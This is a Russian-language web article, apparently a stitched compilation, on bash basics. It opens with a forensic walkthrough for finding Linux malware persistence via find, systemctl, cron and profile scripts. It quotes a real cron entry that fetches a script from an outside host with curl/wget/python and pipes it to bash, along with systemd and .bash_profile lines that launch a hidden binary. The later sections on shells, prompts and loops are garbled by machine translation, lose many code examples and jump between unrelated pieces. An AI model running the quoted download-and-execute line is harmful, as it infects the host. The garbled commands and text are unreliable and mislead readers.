Основы bash-скриптинга для непрограммистов. часть 2

Поиск следов закрепления вредоносного ПО

Поиск недавно созданных файлов

Инструментарий:

  • Практические примеры использования команды find в Linux
  • Команда find: поиск в файловой системе по любым свойствам файла

Поиск файлов в указанной папке, которые были изменены менее 1 дня назад:

find /bin/ -mtime -1

Вывод:

  • /bin/
  • /bin/sysdr
  • /bin/bprofr
  • /bin/crondr
  • /bin/core_perl

Выделенные файлы — это вирусы (проверил на virustotal.com).

Чтобы найти все файлы, которые были изменены ровно 50 дней назад:

find / -mtime 50

Чтобы найти все файлы, к которым был получен доступ ровно 50 дней назад:

find / -atime 50

Чтобы найти все файлы, которые были модифицированы более 50 дней назад и менее 100 дней назад:

find / -mtime +50 -mtime -100

Чтобы найти файлы, свойства которых (права доступа, владелец, группа) были изменены за последний час:

find / -cmin -60

Чтобы найти файлы, которые были модифицированы за последний час:

find / -mmin -60

Чтобы найти все файлы, доступ к которым был сделан за последний час:

find / -amin -60

Поиск служб в автозагрузке

Инструментарий:

  • Как использовать Systemctl для управления службами Systemd и юнитами
  • Как в Linux добавить программу в автозагрузку

Если вы хотите посмотреть только юниты, добавленные в автозагрузку, то используйте следующую конструкцию:

systemctl list-unit-files | grep enabled

Посмотрите на две службы с именами:

  • pwnrige.service
  • pwnrigl.service

На самом деле, вредоносное ПО может модифицировать файлы Systemctl и заменить собой любую службу или выбрать менее вызывающее название, но в данном случае очевидно, что это посторонние сервисы.

Можно посмотреть, что там внутри:

sudo systemctl edit pwnrige.service
sudo systemctl edit pwnrigl.service

Или так:

cat /etc/systemd/system/pwnrige.service
cat /usr/lib/systemd/system/pwnrigl.service

Следующая строка

/bin/bash -c 'cp -f -r -- /bin/sysdr /bin/dbused 2>/dev/null && /bin/dbused -c >/dev/null 2>&1 && rm -rf -- /bin/dbused 2>/dev/null'

Говорит нам о том, что файл вируса спрятан в /bin/sysdr.

Поиск в директориях /etc/systemd/system/ и /usr/lib/systemd/system/ файлов созданных за последний день:

find /etc/systemd/system/ /usr/lib/systemd/system/ -mtime -1

Знакомые нам файлы:

  • /etc/systemd/system/pwnrige.service
  • /usr/lib/systemd/system/pwnrigl.service

Поиск по содержимому файлов (по тексту)

Инструментарий:

Регулярные выражения и команда grep

Поиск строк sysdr или cp в директориях /etc/systemd/system/ и /usr/lib/systemd/system/:

grep --color -E '(sysdr)|(cp )' /etc/systemd/system/* /usr/lib/systemd/system/* 2>/dev/null

Расписания задач Cron

Инструментарий:

Как вывести все задачи Cron

Следующие две команды покажут содержимое задач Cron для всех пользователей:

for user in $(cut -f1 -d: /etc/passwd); do sudo crontab -u $user -l 2>/dev/null | grep -v '^#'; done

Более гибкий вариант, не рассчитывает на имена пользователей:

grep '*' --color /etc/anacrontab /var/spool/cron/crontabs/* /var/spool/cron/* /etc/cron.hourly/* /etc/cron.daily/* /etc/cron.weekly/* /etc/cron.monthly/* /etc/cron.d/* /etc/init.d/down 2>/dev/null

Обратите внимание, как прочно укоренился вирус в системе:

(curl -fsSL http://bash.givemexyz.in/xms||wget -q -O- http://bash.givemexyz.in/xms||python -c 'import urllib2 as fbi;print fbi.urlopen("http://bash.givemexyz.in/xms").read()')| bash -sh; lwp-download http://bash.givemexyz.in/xms /xms; bash /xms; /xms; rm -rf /xms

Этот набор команд, который должен выполняться с периодичность 1 раз в минуту, прописан в следующих файлах:

  • /etc/cron.d/root
  • /etc/cron.d/nginx
  • /etc/cron.d/apache
  • /var/spool/cron/root

Автоматически выполняемые скрипты

Инструментарий:

Различия между Login shell и Non login shell (оболочка с входом и оболочка без входа)

В Linux имеются скрипты, которые выполняются автоматически при входе пользователя в систему.

Некоторые из этих скриптов общие для всех пользователей, некоторые — у каждого пользователя свои:

  • /etc/profile
  • /etc/profile.d/*
  • ~/.bash_profile
  • ~/.bashrc
  • /etc/bashrc

Если вы не знаете, что именно нужно искать, то используйте следующую команду, которая выведет содержимое для всех файлов всех пользователей:

sudo grep --color '.*' /etc/profile /etc/profile.d/* /home/*/.bash_profile /home/*/.bashrc /etc/bashrc /root/.bash_profile /root/.bashrc

Посмотрите какая неприятность — в файле /root/.bash_profile найдена следующая строка:

cp -f -r -- /bin/bprofr /bin/dbused 2>/dev/null && /bin/dbused -c >/dev/null 2>&1 && rm -rf -- /bin/dbused 2>/dev/null

Синтаксис

Правила написания Bash представляют собой расширенный синтаксис Bourne-shell. Узнать подробности про основы взаимодействия с оболочкой, а также спецификации конкретных команд можно в руководстве Bash Reference Manual, распространяемом GNU. Это полезная шпаргалка для начинающих, позволяющая быстрее сориентироваться в оболочке.

Пример скрипта

Ниже рассмотрен пример самого простого скрипта, выводящего надпись «Hello world».

#!/usr/bin/env bash

echo 'Hello World!'

Данный сценарий состоит из двух строк, где первая указывает операционной системе, что файл должен запускаться при помощи оболочки Bash. Во второй строчке указывается действие – его и должен выполнить скрипт. Это действие должно напечатать в окне терминала соответствующую надпись.

Отличие Bash от Bourne-shell

Bash в Linux способна выполнять практически все важные сценарии Bourne-shell без внесения дополнительных изменений. Исключение составляют те, где необходимо ссылаться на спецпеременные Bourne-shell или, где применяются ее встроенные команды.

В синтаксисе Bash применяются приемы из Korn Shell и C Shell:

  • редактирование командной строки;
  • вывод истории команд;
  • создание стеков директорий;
  • правила замены команд «$(…)»;
  • переменные «$PPID» и «$RANDOM».

Используя консоль Bash в качестве интерактивного интерпретатора, можно прибегать к автодополнению названий файлов, программ, переменных и команд нажатием клавиши Tab (↹).

Команда chsh

Команда chsh позволяет вам изменить оболочку по умолчанию. Хитрость заключается в том, чтобы знать, что он позволяет вам изменять как логин по умолчанию, так и интерактивные оболочки по умолчанию. Возможно, вы захотите изменить одно или другое, или и то, и другое.

Каждый раз, когда вы входите в систему, чтобы получить командную строку, вы используете оболочку, настроенную в качестве оболочки входа. Когда вы уже вошли в систему и открываете окно терминала, вы используете оболочку, сконфигурированную как вашу интерактивную оболочку. Это могут быть как одинаковые, так и разные оболочки.

Чтобы установить оболочку входа в систему, используйте chsh без параметров:

chsh

Вам будет предложено ввести пароль. Затем вы должны ввести путь к новой оболочке и нажать Enter.

Если мы установим удаленное соединение с этим тестовым компьютером с другого, мы окажемся в оболочке Fish после входа в систему.

Чтобы изменить интерактивную оболочку, используйте chsh с параметром -s (оболочка). Передайте путь к новой оболочке в командной строке:

chsh -s /usr/bin/fish

Вам будет предложено ввести пароль, и вы вернетесь в командную строку вашей текущей оболочки. Вам нужно выйти и снова войти, чтобы изменения вступили в силу. Когда вы это сделаете, вы увидите приветствие и командную строку рыбной оболочки.

Переменная среды $ SHELL теперь содержит путь к вашей новой оболочке по умолчанию:

echo $SHELL

Ведро снарядов

Раньше мы рассматривали различные оболочки Linux, но вот краткое введение в наиболее распространенные:

bash: The Борн снова оболочка по умолчанию во многих дистрибутивах.rbash: Это Ограниченный Оболочка bash предоставляет минимальную функциональность человеку или скрипту, выполняющему ее.ясень: Раковина альмквиста это более легкая версия bash.тире: Оболочка Debian Alquist — это сценарий оболочки по умолчанию в Ubuntu. В то время как bash является входом и интерактивной оболочкой по умолчанию, тире используется для запуска системных процессов, потому что он намного легче, чем bash.zsh: Оболочка Z это современный взгляд на семейство оболочек bash. Он предлагает изящные улучшения, такие как проверка орфографии в командах и предлагаемые исправления.рыба: Это дружественная интерактивная оболочка был написан с нуля и не является производным от других семейств оболочек. Он предназначен для удобства пользователя. Среди множества других преимуществ fish предлагает варианты команд на основе вашей истории и содержимого текущей папки, аналогично предсказуемый текст.кш: КорнШелл обеспечивает особенно мощный язык сценариев.

Список установленных оболочек

Чтобы увидеть, какие оболочки установлены на вашем компьютере, используйте эту команду. Он просто перечисляет содержимое файл:

cat /etc/shells

Мы упоминали , , а также , но что ?

это Томпсон оболочка, написанная еще в 1971 году Кен Томпсон из Bell Labs известность. Он больше не поддерживается и давно заменен современными оболочками. Он включен исключительно для обеспечения совместимости со старыми сценариями, в которых в первой строке по-прежнему указывается следующее:

#!/bin/sh

Это инструктирует систему использовать оболочка для выполнения скрипта. У вас действительно есть эта древняя оболочка на вашем компьютере, и она используется для запуска ваших скриптов? Команда скажет нам, какая программа действительно запускается при вводе команды.

Давайте посмотрим, что работает, когда вы печатаете :

which sh

Это кажется, чтобы найти двоичный файл. если мы копнем немного глубже, мы увидим, что это символическая ссылка, которая на самом деле указывает на облегченная оболочка, используемая для выполнения скриптов:

ls -l /bin/sh

Это аккуратный и легкий способ обеспечения безопасности для сценариев, которые ожидают найти на современных системах.

Переменные в скриптах

Написание скриптов на Bash редко обходится без сохранения временных данных, а значит создания переменных. Без переменных не обходится ни один язык программирования и наш примитивный язык командной оболочки тоже.

Возможно, вы уже раньше встречались с переменными окружения. Так вот, это те же самые переменные и работают они аналогично.

Например, объявим переменную string:

Значение нашей строки в кавычках. Но на самом деле кавычки не всегда нужны. Здесь сохраняется главный принцип bash — пробел — это специальный символ, разделитель, поэтому если не использовать кавычки world уже будет считаться отдельной командой, по той же причине мы не ставим пробелов перед и после знака равно.

Чтобы вывести значение переменной используется символ $. Например:

Модифицируем наш скрипт:

И проверяем:

Bash не различает типов переменных так, как языки высокого уровня, например, С++, вы можете присвоить переменной как число, так и строку. Одинаково все это будет считаться строкой. Оболочка поддерживает только слияние строк, для этого просто запишите имена переменных подряд:

Проверяем:

Обратите внимание, что как я и говорил, кавычки необязательны если в строке нет спецсимволов. Присмотритесь к обоим способам слияния строк, здесь тоже демонстрируется роль кавычек

Если же вам нужны более сложные способы обработки строк или арифметические операции, это не входит в возможности оболочки, для этого используются обычные утилиты.

Что такое Bash

Bash (Bourne again shell или «возрождённый» shell) – это модифицированная версия программной оболочки Bourne-shell (sh или «Оболочка Борна»). Она является командным процессором, работающим интерактивно в текстовом окне. Bash нужен для приема команд пользователя и их отправки операционной системе для последующей обработки.

Bash – это универсальный инструмент для выполнения различных задач, который в некоторых случаях позволяет избежать установки специализированного программного обеспечения. Одновременно, это скриптовый язык программирования, позволяющий создавать сценарии для автоматизации различных операций.

История создания

Предшественница Bash  –  Bourne-shell (sh, «Оболочка Борна») была одной из первых оболочек для операционных систем Unix. Ее создал в 1978 году британский ученый Стивен Борн, давший Bourne-shell свое имя.

Изначально оболочка sh обладала относительно небольшим набором функций. Но в 1987 году Bourne-shell заинтересовался программист Брайан Фокс, сумевший доработать и значительно расширить ее функционал. В 1989 году Брайан создал бета-версию Bash и продолжал поддерживать свое детище вплоть до 1993 года.

Брайан Фокс — создатель оболочки Bash.

Основные команды, правила их написания и прочие особенности Bash были перенесены из sh. Прочие возможности, включая историю, позаимствованы из Korn Shell и C Shell (других вариаций Bourne-shell). Bash практически полностью соответствует стандартам POSIX.

Сегодня оболочка Bash предустановлена в большей части дистрибутивов Unix/Linux. Взаимодействие оболочки и операционной системы обеспечивается с помощью специальной программы – терминала (например, lxterm, xterm, eterm, gnome-terminal).

Лучшее ведение журнала

Как и большинство терминальных оболочек, Bash для удобства сохраняет файл со всем, что вы вводите в него. Это, безусловно, полезная функция, но ее раздражает сортировка файла из-за дубликатов. Если одна и та же команда появляется снова и снова, это может затруднить поиск вещей в истории Bash, которые вы действительно хотите видеть. Чтобы решить эту проблему, рассмотрите возможность добавления этого редактирования в ~ / .bashrc, которое активно удаляет повторяющиеся команды, улучшая то, как Bash обрабатывает историю команд.

nano ~/.bashrc

Внутри Nano вставьте этот код:

export HISTCONTROL=ignoredups

Для чего нужен Bash

Основные преимущества

На данный момент разработано множество различных вариаций Bourne-Shell. Но, по сравнению с ними, командный интерпретатор Bash обладает рядом преимуществ.

  • Позволяет работать со структурами «[[» (в sh доступна только «[» с ограничениями).
  • Поддерживает работу с массивами в Линуксе.
  • Доступно множество расширений, выполненных по стандартам C, включая циклы с тремя аргументами «for((i=0;i<=3;i++))», возможность присваивать инкремент «+=» и многое другое.
  • Поддерживает синтаксис «<<<‘here strings’».
  • Работает с расширениями «.{png,jpg}».
  • Доступны алиасы для перенаправления, подобно «Csh», подобно «&|» для «2>&1 |» и «&>» для «> … 2>&1».
  • Поддерживает сопроцессы с перенаправлением «<>».
  • Огромный комплект расширений нестандартных конфигураций, включая изменение регистра.
  • Существенно увеличены возможности арифметики (правда, нет поддержки чисел с плавающей точкой).
  • Переменные «$RANDOM», «$SECONDS», «$PIPESTATUS» и «$FUNCNAME» в Bash являются расширениями.
  • Доступно огромное количества функций, обеспечивающих работу в интерактивном режиме. Хотя на поведение скриптов они не влияют.

Примеры применения

  • Вывести указанное количество строчек из лога.
  • Найти и составить выборку ключевых слов, сохранив их в новом файле.
  • Очистить экран терминала.
  • Приостановить работающие задачи и перезапустить ранее приостановленные.
  • Создать архив директории с файлами и отправить его на другой компьютер в одной сети через определенный сетевой протокол.
  • Произвести настройку системы создания резервных копий файлов баз данных, используя дампинг.
  • Послать запрос о конфигурации других компьютеров в сети. Отправить файл с собранной информацией на электронную почту.
  • Найти на диске дублированные файлы, отобразить их список и выполнить запрос их удалить.
  • Рекурсивно заменить владельцев указанных файлов и папок.

Что выбрать? (и почему Zsh популярен)

Вам не нужно выбирать оболочку. Ваша операционная система выбирает оболочку по умолчанию для вас, и этот выбор почти всегда bash. Сядьте перед дистрибутивом Linux — или даже Mac — и вы почти всегда будете иметь среду оболочки bash. Bash имеет довольно много расширенных функций, но вы, вероятно, не будете их использовать, если не будете программировать сценарии оболочки.

На встроенных системах Linux или BSD вы получите оболочку Ash. Но пепел — это оболочка на основе Борна, и он в значительной степени совместим с Башом. Любые знания об использовании bash будут перенесены на использование оболочки ash или dash, хотя некоторые расширенные функции сценариев недоступны в этой облегченной оболочке.

Почти каждая оболочка, с которой вы столкнетесь, основана на Bourne и работает аналогично, включая zsh.

Вот почему Zsh популярен. Эта новая оболочка совместима с bash, но включает в себя больше возможностей. Оболочка zsh предлагает встроенную коррекцию орфографии, улучшенное завершение командной строки, загружаемые модули, которые выступают в качестве плагинов для вашей оболочки, глобальные псевдонимы, которые позволяют использовать псевдонимы имен файлов или чего-либо еще в командной строке вместо просто команд, и больше поддержки тем. Это похоже на bash, но с множеством дополнительных возможностей, дополнительных функций и настраиваемых параметров, которые вы могли бы оценить, если бы вы проводили много времени в командной строке.

Если вы знакомы с bash, вы можете переключиться на zsh, не изучая другой синтаксис — вы просто получите дополнительные функции. если вы знакомы с zsh, вы можете переключиться на bash, не изучая другой синтаксис — у вас просто не будет доступа к этим функциям.

« Oh My ZSH » — это инструмент, который помогает вам легче включать плагины zsh и переключаться между предварительно созданными темами, быстро настраивая оболочку zsh, не тратя часы на настройку.

Есть и другие снаряды. Например, оболочка tcsh все еще существует и является опцией. FreeBSD использует tsch в качестве корневой оболочки по умолчанию и ash в качестве интерактивной оболочки по умолчанию. Если вы регулярно пользуетесь программированием на C, для вас лучше подойдет tsch. Тем не менее, он далеко не так часто используется, как bash или zsh.

Циклы в скриптах

Преимущество программ в том, что мы можем в несколько строчек указать какие действия нужно выполнить несколько раз. Например, возможно написание скриптов на bash, которые состоят всего из нескольких строчек, а выполняются часами, анализируя параметры и выполняя нужные действия.

Первым рассмотрим цикл for. Вот его синтаксис:

for переменная in списокdoкомандаdone

Перебирает весь список, и присваивает по очереди переменной значение из списка, после каждого присваивания выполняет команды, расположенные между do и done.

Например, переберем пять цифр:

Или вы можете перечислить все файлы из текущей директории:

Как вы понимаете, можно не только выводить имена, но и выполнять нужные действия, это очень полезно когда выполняется создание bash скрипта.

Второй цикл, который мы рассмотрим — это цикл while, он выполняется пока команда условия возвращает код 0, успех. Рассмотрим синтаксис:

while команда условиеdoкомандаdone

Рассмотрим пример:

Как видите, все выполняется, команда let просто выполняет указанную математическую операцию, в нашем случае увеличивает значение переменной на единицу.

Хотелось бы отметить еще кое-что. Такие конструкции, как while, for, if рассчитаны на запись в несколько строк, и если вы попытаетесь их записать в одну строку, то получите ошибку. Но тем не менее это возможно, для этого там, где должен быть перевод строки ставьте точку с запятой «;». Например, предыдущий цикл можно было выполнить в виде одной строки:

Все очень просто я пытался не усложнять статью дополнительными терминами и возможностями bash, только самое основное. В некоторых случаях, возможно, вам понадобиться сделать gui для bash скрипта, тогда вы можете использовать такие программы как zenity или kdialog, с помощью них очень удобно выводить сообщения пользователю и даже запрашивать у него информацию.

Для чего нужен login shell

Вход в систему обрабатывается оболочкой и другими инструментами, например, сам login или ваш диспетчер рабочего стола (с помощью PAM и различных других инструментов).

Назначение оболочки входа не в том, чтобы обрабатывать вход в систему, а в том, чтобы вести себя соответствующим образом как первая оболочка в сеансе входа в систему: в основном это означает обработку файлов запуска, которые должны обрабатываться только один раз за сеанс входа, и защиту сеанса входа в систему от нежелательных взаимодействие с некоторыми функциями системы (в частности, приостановка работы).

Особенности оболочки входа, по крайней мере, реализованной в Bash, заключаются в следующем:

  • оболочка входа в систему обрабатывает команды из /etc/profile, затем первый файл, который она находит среди ~/.bash_profile, ~/.bash_login и ~/.profile (если только это не интерактивная оболочка входа, запущенная без параметра —login);
  • при выходе из оболочки входа выполняется logout вместо exit;
  • выход из оболочки входа в систему прерывает все задания;
  • оболочку входа нельзя приостановить;
  • оболочка входа устанавливает переменную HOME (кроме POSIX-корректного режима);
  • оболочка входа устанавливает параметр оболочки login_shell.

С практической точки зрения, выбранная оболочка входа в систему определяет оболочку, которая используется для пользователя по умолчанию. Хотя конечно, ничто не мешает запустить любую другую установленную в вашей системе оболочку.

Дополнительные параметры оболочки

Ниже представлен список большинства параметров, которые вы можете использовать для настройки приглашения bash. Стоит оговориться, что не все из них могут поддерживаться конкретным Linux-дистрибутивом:

    — звуковой сигнал;

    — дата (день/месяц/число);

    — форматированный вывод текущего времени;

    — символ escape-последовательности;

    — имя хоста (короткое, до первой точки);

    — полное имя хоста (доменное имя);

    — количество задач, обрабатываемых оболочкой в данный момент;

    — название терминала;

    — переход на новую строку;

    — возврат каретки на начало строки;

    — название оболочки;

    — время в 24-часовом формате (час:минута:секунда);

    — время в 12-часовом формате (AM/PM);

    — время в 24-часовом формате без секунд;

    — текущее имя пользователя;

    — версия bash;

    — дополнительная информация о версии bash (номер релиза, патча);

    — текущий рабочий каталог;

    — базовое имя рабочего каталога;

    — отображает номер, под которым команда будет занесена в историю команд bash;

    —  отображает номер команды в текущем сеансе без привязки к истории. При запуске нового терминала, нумерация начинается с единицы;

    — если пользователем является root, то используется символ , в противном случае — символ ;

    — обратная косая черта;

    — начало последовательности непечатаемых символов (полезно, если вы хотите изменить цвет, добавить команду или набор инструкций в приглашение);

    — конец последовательности непечатаемых символов.

Изменение приглашения bash

Поведение bash задается через соответствующий файл конфигурации .bashrc, расположенный в домашнем каталоге пользователя. Если имя вашего пользователя, например, diego, то путь к файлу будет следующим:

Или более краткий вариант:

Прежде чем вносить какие-либо изменения в него, настоятельно рекомендуется создать резервную копию данного файла. Для этого откройте окно терминала и введите следующее:

Примечание: Расширение .bak (от англ. «backup») сообщает нам, что файл является резервной копией.

Изменение приглашения bash на постоянку

Откройте для редактирования файл конфигурации bash:

В этом файле вы должны увидеть несколько различных настроек. Некоторые из них в данный момент неактивны и представляют собой обычные комментарии — строки синего или сине-зеленого цвета, отмеченные знаком . Строки белого цвета используются оболочкой для настройки её поведения.

Прокрутите страницу до конца файла конфигурации и добавьте следующую строку:

Вы можете заменить часть любой строкой текста, которая вам придется по душе.

Сохраните файл (сочетание клавиш Ctrl+O, и затем Enter) и выйдите из редактора (Ctrl+X).

Обновите bash, чтобы применить изменения:

В результате наших манипуляций приглашение оболочки должно измениться на следующее:

Временное изменение приглашения bash

Вы можете временно изменить приглашение оболочки bash с помощью команды export. Изменения оболочки, внесенные данной командой, будут активны ровно до тех пор, пока пользователь не выйдет из системы.

Давайте зададим такой вид приглашения, при котором будет отображаться только имя пользователя:

В результате, приглашение оболочки должно немедленно принять вот такую форму:

Вы можете откатить вышеприведенные изменения, просто выйдя и заново зайдя в систему.

Как работают скрипты

В Linux почти не используется расширение файла для опережения его типа на системном уровне. Это могут делать файловые менеджеры и то не всегда. Вместо этого, используются сигнатуры начала файла и специальные флаги. Система считает исполняемыми только те файлы, которым присвоен атрибут исполняемости.

Теперь о том, как работают скрипты. Это обычные файлы, которые содержат текст. Но если для них установлен атрибут исполняемости, то для их открытия используется специальная программа — интерпретатор, например, оболочка bash. А уже интерпретатор читает последовательно строку за строкой и выполняет все команды, которые содержатся в файле. У нас есть несколько способов выполнить запуск скрипта linux. Мы можем запустить его как любую другую программу через терминал или же запустить оболочку и сообщить ей какой файл нужно выполнять. В этом случае не нужно даже флага исполняемости.

Как переключаться между оболочками

Легко переключиться на новую оболочку, чтобы попробовать ее. Просто установите оболочку из диспетчера пакетов вашего дистрибутива Linux и введите команду для запуска оболочки.

Например, допустим, вы хотите попробовать zsh в Ubuntu. Вы должны запустить следующие команды для установки, а затем запустить его:

  sudo apt установить Zsh

 ЗШ 

Вы бы тогда сидели за раковиной Zsh. Наберите « » в оболочке, чтобы покинуть ее и вернуться к текущей оболочке.

Это просто временно. Всякий раз, когда вы открываете новое окно терминала или входите в систему из командной строки, вы увидите оболочку по умолчанию. Чтобы изменить оболочку, которую вы видите при входе в систему, известную как оболочка входа, вы обычно можете использовать команду или «Изменить оболочку».

Чтобы использовать эту команду, вам сначала нужно найти полный путь к вашей оболочке с помощью команды which. Например, скажем, мы хотели перейти на оболочку zsh. Мы запустили следующую команду:

  какой зш 

В Ubuntu это говорит нам о том, что двоичный файл zsh хранится в / usr / bin / zsh.

Запустите следующую команду, введите свой пароль, и вам будет предложено выбрать новую оболочку входа в систему:

  CHSH 

В соответствии с приведенной выше командой мы вводим . Оболочка zsh будет тогда нашей по умолчанию, пока мы не команду и не ее обратно.

Оболочки, ведущие к Башу: sh, csh, tsh и ksh

СВЯЗАННЫЙ: Что такое Unix, и почему это важно?

Самым выдающимся прародителем современных оболочек является оболочка Борна, также известная как «sh», которая была названа в честь ее создателя Стивена Борна, который работал в Bell & Labs в AT & T. Выпущенный в 1979 году, он стал интерпретатором команд по умолчанию в Unix из-за его поддержки подстановки команд, конвейера, переменных, проверки условий и зацикливания, а также других функций. Он не предлагал особых настроек для пользователей и не поддерживал такие современные тонкости, как псевдонимы, завершение команд и функции оболочки (хотя этот последний был в конечном итоге добавлен).

Оболочка C, или «csh», была разработана в конце 1970-х годов Биллом Джоем из Калифорнийского университета в Беркли. Он добавил множество интерактивных элементов, с помощью которых пользователи могут управлять своими системами, таких как псевдонимы (ярлыки для длинных команд), возможности управления заданиями, история команд и многое другое. Он был смоделирован на языке программирования C, на котором была написана сама операционная система Unix. Это также означало, что пользователи оболочки Bourne должны были изучать C, чтобы они могли вводить в него команды. Кроме того, в csh было довольно много ошибок, которые должны были выковываться как пользователями, так и создателями в течение длительного периода времени. Люди в конечном итоге использовали оболочку Bourne для сценариев, потому что она лучше справлялась с неинтерактивными командами, но для нормальной работы придерживалась оболочки C.

Со временем многие люди исправляли ошибки и добавляли функции в оболочку C, кульминацией которой стала улучшенная версия csh, известная как «tcsh». Но csh по-прежнему использовался по умолчанию на компьютерах с Unix и добавил некоторые нестандартные функции. Дэвид Корн из Bell Labs работал над KornShell, или «ksh», который пытался улучшить ситуацию, будучи обратно совместимым с языком оболочки Bourne, но добавив множество функций из оболочки csh. Он был выпущен в 1983 году, но под патентованной лицензией. Это не было свободное программное обеспечение до 2000-х годов, когда оно было выпущено под различными лицензиями с открытым исходным кодом.

Рождение Баш

Портативный интерфейс операционной системы для Unix, или POSIX, был еще одним ответом на суетливые проприетарные реализации csh. Он успешно создал стандарт интерпретации команд (среди прочего) и в конечном итоге отразил многие функции KornShell. В то же время проект GNU пытался создать бесплатную Unix-совместимую операционную систему. Проект GNU разработал бесплатную программную оболочку для своей свободной операционной системы и назвал ее «Bourne Again Shell», или «bash».

Bash был улучшен за десятилетия с момента его первого выпуска в 1989 году, но он по-прежнему является оболочкой по умолчанию в большинстве дистрибутивов Linux сегодня. Это также оболочка по умолчанию для MacOS от Apple, и она доступна для установки на Microsoft Windows 10 .

Рейтинг
( Пока оценок нет )
Понравилась статья? Поделиться с друзьями:
Все про сервера
Добавить комментарий

;-) :| :x :twisted: :smile: :shock: :sad: :roll: :razz: :oops: :o :mrgreen: :lol: :idea: :grin: :evil: :cry: :cool: :arrow: :???: :?: :!: